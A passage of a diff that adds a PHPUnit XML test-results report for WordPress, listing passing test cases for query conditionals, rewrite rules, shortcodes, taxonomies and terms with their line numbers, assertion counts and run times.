+      <testcase name="test_page" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="109" assertions="1" time="0.034615"/>
+      <testcase name="test_parent_page" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="115" assertions="1" time="0.034432"/>
+      <testcase name="test_child_page_1" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="122" assertions="1" time="0.038804"/>
+      <testcase name="test_child_page_2" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="130" assertions="1" time="0.045333"/>
+      <testcase name="test_page_trackback" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="140" assertions="6" time="0.060784"/>
+      <testcase name="test_page_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="159" assertions="6" time="0.090677"/>
+      <testcase name="test_page_feed_with_no_comments" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="178" assertions="6" time="0.064800"/>
+      <testcase name="test_page_feed_atom" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="197" assertions="6" time="0.084714"/>
+      <testcase name="test_page_page_2" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="218" assertions="2" time="0.031430"/>
+      <testcase name="test_page_page_2_no_slash" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="231" assertions="2" time="0.031782"/>
+      <testcase name="test_pagination_of_posts_page" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="245" assertions="2" time="0.033293"/>
+      <testcase name="test_main_feed_2" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="267" assertions="10" time="0.130089"/>
+      <testcase name="test_main_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="285" assertions="3" time="0.061259"/>
+      <testcase name="test_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="295" assertions="2" time="0.248591"/>
+      <testcase name="test_main_comments_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="305" assertions="11" time="0.136122"/>
+      <testcase name="test_search_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="331" assertions="10" time="0.074220"/>
+      <testcase name="test_search_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="348" assertions="1" time="0.198897"/>
+      <testcase name="test_search" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="355" assertions="1" time="0.024894"/>
+      <testcase name="test_search_encoded_chars" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="363" assertions="1" time="0.036740"/>
+      <testcase name="test_category_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="370" assertions="10" time="0.124145"/>
+      <testcase name="test_category_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="388" assertions="1" time="0.182052"/>
+      <testcase name="test_category" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="395" assertions="1" time="0.035792"/>
+      <testcase name="test_tag_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="403" assertions="10" time="0.103534"/>
+      <testcase name="test_tag_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="421" assertions="1" time="0.205204"/>
+      <testcase name="test_tag" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="430" assertions="1" time="0.027966"/>
+      <testcase name="test_author_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="438" assertions="10" time="0.136525"/>
+      <testcase name="test_author_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="456" assertions="1" time="0.209423"/>
+      <testcase name="test_author" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="464" assertions="1" time="0.080094"/>
+      <testcase name="test_author_with_no_posts" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="471" assertions="1" time="0.064960"/>
+      <testcase name="test_ymd_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="479" assertions="10" time="0.143681"/>
+      <testcase name="test_ymd_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="497" assertions="1" time="0.188549"/>
+      <testcase name="test_ymd" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="504" assertions="1" time="0.042454"/>
+      <testcase name="test_ym_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="512" assertions="10" time="0.133234"/>
+      <testcase name="test_ym_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="530" assertions="1" time="0.173305"/>
+      <testcase name="test_ym" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="537" assertions="1" time="0.042855"/>
+      <testcase name="test_y_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="545" assertions="10" time="0.157279"/>
+      <testcase name="test_y_paged" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="563" assertions="1" time="0.179158"/>
+      <testcase name="test_y" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="570" assertions="1" time="0.042604"/>
+      <testcase name="test_post_trackback" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="577" assertions="1" time="0.038350"/>
+      <testcase name="test_post_comment_feed" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="586" assertions="10" time="0.119794"/>
+      <testcase name="test_post_paged_short" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="605" assertions="1" time="0.046343"/>
+      <testcase name="test_post_attachment" class="Tests_Query_Conditionals" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/conditionals.php" line="618" assertions="1" time="0.037530"/>
+    </testsuite>
+    <testsuite name="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" fullPackage="Tests.Query" tests="17" assertions="61" failures="0" errors="0" time="9.491627">
+      <testcase name="test_query_default" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="58" assertions="1" time="0.561322"/>
+      <testcase name="test_query_tag_a" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="78" assertions="5" time="0.571432"/>
+      <testcase name="test_query_tag_b" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="89" assertions="5" time="0.585607"/>
+      <testcase name="test_query_tag_nun" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="103" assertions="2" time="0.547214"/>
+      <testcase name="test_query_tag_id" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="111" assertions="5" time="0.533758"/>
+      <testcase name="test_query_tag_slug__in" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="123" assertions="7" time="0.568936"/>
+      <testcase name="test_query_tag__in" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="137" assertions="7" time="0.563707"/>
+      <testcase name="test_query_tag__not_in" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="152" assertions="1" time="0.558401"/>
+      <testcase name="test_query_tag__in_but__not_in" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="174" assertions="3" time="0.560603"/>
+      <testcase name="test_query_category_name" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="187" assertions="5" time="0.555971"/>
+      <testcase name="test_query_cat" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="198" assertions="5" time="0.547470"/>
+      <testcase name="test_query_posts_per_page" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="210" assertions="2" time="0.549791"/>
+      <testcase name="test_query_offset" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="225" assertions="2" time="0.546371"/>
+      <testcase name="test_query_paged" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="245" assertions="3" time="0.575094"/>
+      <testcase name="test_query_paged_and_posts_per_page" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="266" assertions="3" time="0.557410"/>
+      <testcase name="test_query_post_parent__in" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="308" assertions="4" time="0.559637"/>
+      <testcase name="test_query_orderby_post_parent__in" class="Tests_Query_Results" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/results.php" line="358" assertions="1" time="0.548903"/>
+    </testsuite>
+    <testsuite name="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" fullPackage="Tests.Query" tests="47" assertions="164" failures="0" errors="0" time="4.900130">
+      <testcase name="test_home" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="79" assertions="1" time="0.033878"/>
+      <testcase name="test_404" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="84" assertions="1" time="0.042605"/>
+      <testcase name="test_permalink" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="89" assertions="1" time="0.059601"/>
+      <testcase name="test_post_comments_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="95" assertions="1" time="0.072071"/>
+      <testcase name="test_post_comments_feed_with_no_comments" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="103" assertions="1" time="0.072594"/>
+      <testcase name="test_page" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="109" assertions="1" time="0.054368"/>
+      <testcase name="test_parent_page" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="115" assertions="1" time="0.049028"/>
+      <testcase name="test_child_page_1" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="122" assertions="1" time="0.062928"/>
+      <testcase name="test_child_page_2" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="130" assertions="1" time="0.062952"/>
+      <testcase name="test_page_trackback" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="140" assertions="6" time="0.075796"/>
+      <testcase name="test_page_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="159" assertions="6" time="0.098512"/>
+      <testcase name="test_page_feed_with_no_comments" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="178" assertions="6" time="0.079265"/>
+      <testcase name="test_page_feed_atom" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="197" assertions="6" time="0.107230"/>
+      <testcase name="test_page_page_2" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="218" assertions="2" time="0.044175"/>
+      <testcase name="test_page_page_2_no_slash" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="231" assertions="2" time="0.043842"/>
+      <testcase name="test_pagination_of_posts_page" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="245" assertions="2" time="0.046747"/>
+      <testcase name="test_main_feed_2" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="267" assertions="10" time="0.149683"/>
+      <testcase name="test_main_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="285" assertions="3" time="0.084057"/>
+      <testcase name="test_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="295" assertions="2" time="0.316765"/>
+      <testcase name="test_main_comments_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="305" assertions="11" time="0.151762"/>
+      <testcase name="test_search_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="331" assertions="10" time="0.086449"/>
+      <testcase name="test_search_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="348" assertions="1" time="0.217010"/>
+      <testcase name="test_search" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="355" assertions="1" time="0.034387"/>
+      <testcase name="test_search_encoded_chars" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="363" assertions="1" time="0.036825"/>
+      <testcase name="test_category_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="370" assertions="10" time="0.122903"/>
+      <testcase name="test_category_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="388" assertions="1" time="0.208503"/>
+      <testcase name="test_category" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="395" assertions="1" time="0.044278"/>
+      <testcase name="test_tag_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="403" assertions="10" time="0.117198"/>
+      <testcase name="test_tag_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="421" assertions="1" time="0.224644"/>
+      <testcase name="test_tag" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="430" assertions="1" time="0.041755"/>
+      <testcase name="test_author_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="438" assertions="10" time="0.138450"/>
+      <testcase name="test_author_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="456" assertions="1" time="0.231129"/>
+      <testcase name="test_author" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="464" assertions="1" time="0.089438"/>
+      <testcase name="test_author_with_no_posts" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="471" assertions="1" time="0.077965"/>
+      <testcase name="test_ymd_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="479" assertions="10" time="0.151087"/>
+      <testcase name="test_ymd_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="497" assertions="1" time="0.209504"/>
+      <testcase name="test_ymd" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="504" assertions="1" time="0.052471"/>
+      <testcase name="test_ym_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="512" assertions="10" time="0.141645"/>
+      <testcase name="test_ym_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="530" assertions="1" time="0.196013"/>
+      <testcase name="test_ym" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="537" assertions="1" time="0.056153"/>
+      <testcase name="test_y_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="545" assertions="10" time="0.139676"/>
+      <testcase name="test_y_paged" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="563" assertions="1" time="0.216670"/>
+      <testcase name="test_y" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="570" assertions="1" time="0.053180"/>
+      <testcase name="test_post_trackback" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="577" assertions="1" time="0.056745"/>
+      <testcase name="test_post_comment_feed" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="586" assertions="10" time="0.148108"/>
+      <testcase name="test_post_paged_short" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="605" assertions="1" time="0.059537"/>
+      <testcase name="test_post_attachment" class="Tests_Query_VerbosePageRules" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/query/verboseRewriteRules.php" line="618" assertions="1" time="0.040547"/>
+    </testsuite>
+    <testsuite name="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" fullPackage="Tests" tests="28" assertions="68" failures="0" errors="0" time="0.079838">
+      <testcase name="test_noatts" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="76" assertions="2" time="0.002814"/>
+      <testcase name="test_one_att" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="82" assertions="2" time="0.002175"/>
+      <testcase name="test_not_a_tag" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="88" assertions="1" time="0.001930"/>
+      <testcase name="test_tag_hyphen_not_tag" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="96" assertions="1" time="0.003108"/>
+      <testcase name="test_tag_underscore_not_tag" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="101" assertions="1" time="0.002121"/>
+      <testcase name="test_tag_not_tag" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="106" assertions="1" time="0.002312"/>
+      <testcase name="test_tag_hyphen" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="114" assertions="5" time="0.003736"/>
+      <testcase name="test_two_atts" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="122" assertions="2" time="0.002460"/>
+      <testcase name="test_noatts_enclosing" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="128" assertions="3" time="0.002412"/>
+      <testcase name="test_one_att_enclosing" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="135" assertions="3" time="0.002775"/>
+      <testcase name="test_two_atts_enclosing" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="142" assertions="3" time="0.003236"/>
+      <testcase name="test_unclosed" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="149" assertions="3" time="0.002427"/>
+      <testcase name="test_positional_atts_num" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="156" assertions="3" time="0.002535"/>
+      <testcase name="test_positional_atts_url" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="163" assertions="3" time="0.002237"/>
+      <testcase name="test_positional_atts_quotes" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="170" assertions="3" time="0.002419"/>
+      <testcase name="test_positional_atts_mixed" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="177" assertions="3" time="0.002919"/>
+      <testcase name="test_positional_and_named_atts" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="184" assertions="3" time="0.003000"/>
+      <testcase name="test_footag_default" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="191" assertions="1" time="0.002736"/>
+      <testcase name="test_footag_val" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="196" assertions="1" time="0.002718"/>
+      <testcase name="test_nested_tags" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="202" assertions="1" time="0.002560"/>
+      <testcase name="test_tag_escaped" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="211" assertions="4" time="0.003420"/>
+      <testcase name="test_tag_not_escaped" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="226" assertions="5" time="0.003462"/>
+      <testcase name="test_mixed_tags" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="244" assertions="1" time="0.003162"/>
+      <testcase name="test_utf8_whitespace_1" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="284" assertions="2" time="0.003722"/>
+      <testcase name="test_utf8_whitespace_2" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="294" assertions="2" time="0.003979"/>
+      <testcase name="test_strip_shortcodes" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="323" assertions="3" time="0.003156"/>
+      <testcase name="test_shortcode_atts_filter_passes_original_arguments" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="352" assertions="3" time="0.003493"/>
+      <testcase name="test_shortcode_atts_filtering" class="Tests_Shortcode" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/shortcode.php" line="363" assertions="3" time="0.002815"/>
+    </testsuite>
+    <testsuite name="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" fullPackage="Tests" tests="12" assertions="39" failures="0" errors="0" time="0.035381">
+      <testcase name="test_get_post_taxonomies" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="7" assertions="1" time="0.002417"/>
+      <testcase name="test_get_link_taxonomies" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="11" assertions="1" time="0.002471"/>
+      <testcase name="test_get_unknown_taxonomies" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="18" assertions="4" time="0.003557"/>
+      <testcase name="test_get_post_taxonomy" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="26" assertions="9" time="0.002726"/>
+      <testcase name="test_get_link_taxonomy" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="36" assertions="3" time="0.002486"/>
+      <testcase name="test_taxonomy_exists_known" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="46" assertions="3" time="0.002318"/>
+      <testcase name="test_taxonomy_exists_unknown" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="52" assertions="4" time="0.002397"/>
+      <testcase name="test_is_taxonomy_hierarchical" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="59" assertions="3" time="0.002045"/>
+      <testcase name="test_is_taxonomy_hierarchical_unknown" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="65" assertions="4" time="0.002583"/>
+      <testcase name="test_register_taxonomy" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="72" assertions="3" time="0.004957"/>
+      <testcase name="test_register_hierarchical_taxonomy" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="86" assertions="3" time="0.005009"/>
+      <testcase name="test_register_long_taxonomy" class="Tests_Taxonomy" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/taxonomy.php" line="103" assertions="1" time="0.002415"/>
+    </testsuite>
+    <testsuite name="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" fullPackage="Tests" tests="15" assertions="124" failures="0" errors="0" time="1.123501">
+      <testcase name="test_wp_insert_delete_term" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="27" assertions="17" time="0.080546"/>
+      <testcase name="test_term_exists_known" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="54" assertions="4" time="0.027015"/>
+      <testcase name="test_term_exists_unknown" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="66" assertions="4" time="0.014582"/>
+      <testcase name="test_is_term_type" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="76" assertions="3" time="0.026149"/>
+      <testcase name="test_set_object_terms_by_id" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="88" assertions="14" time="0.158676"/>
+      <testcase name="test_set_object_terms_by_name" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="118" assertions="11" time="0.173461"/>
+      <testcase name="test_change_object_terms_by_name" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="150" assertions="5" time="0.065493"/>
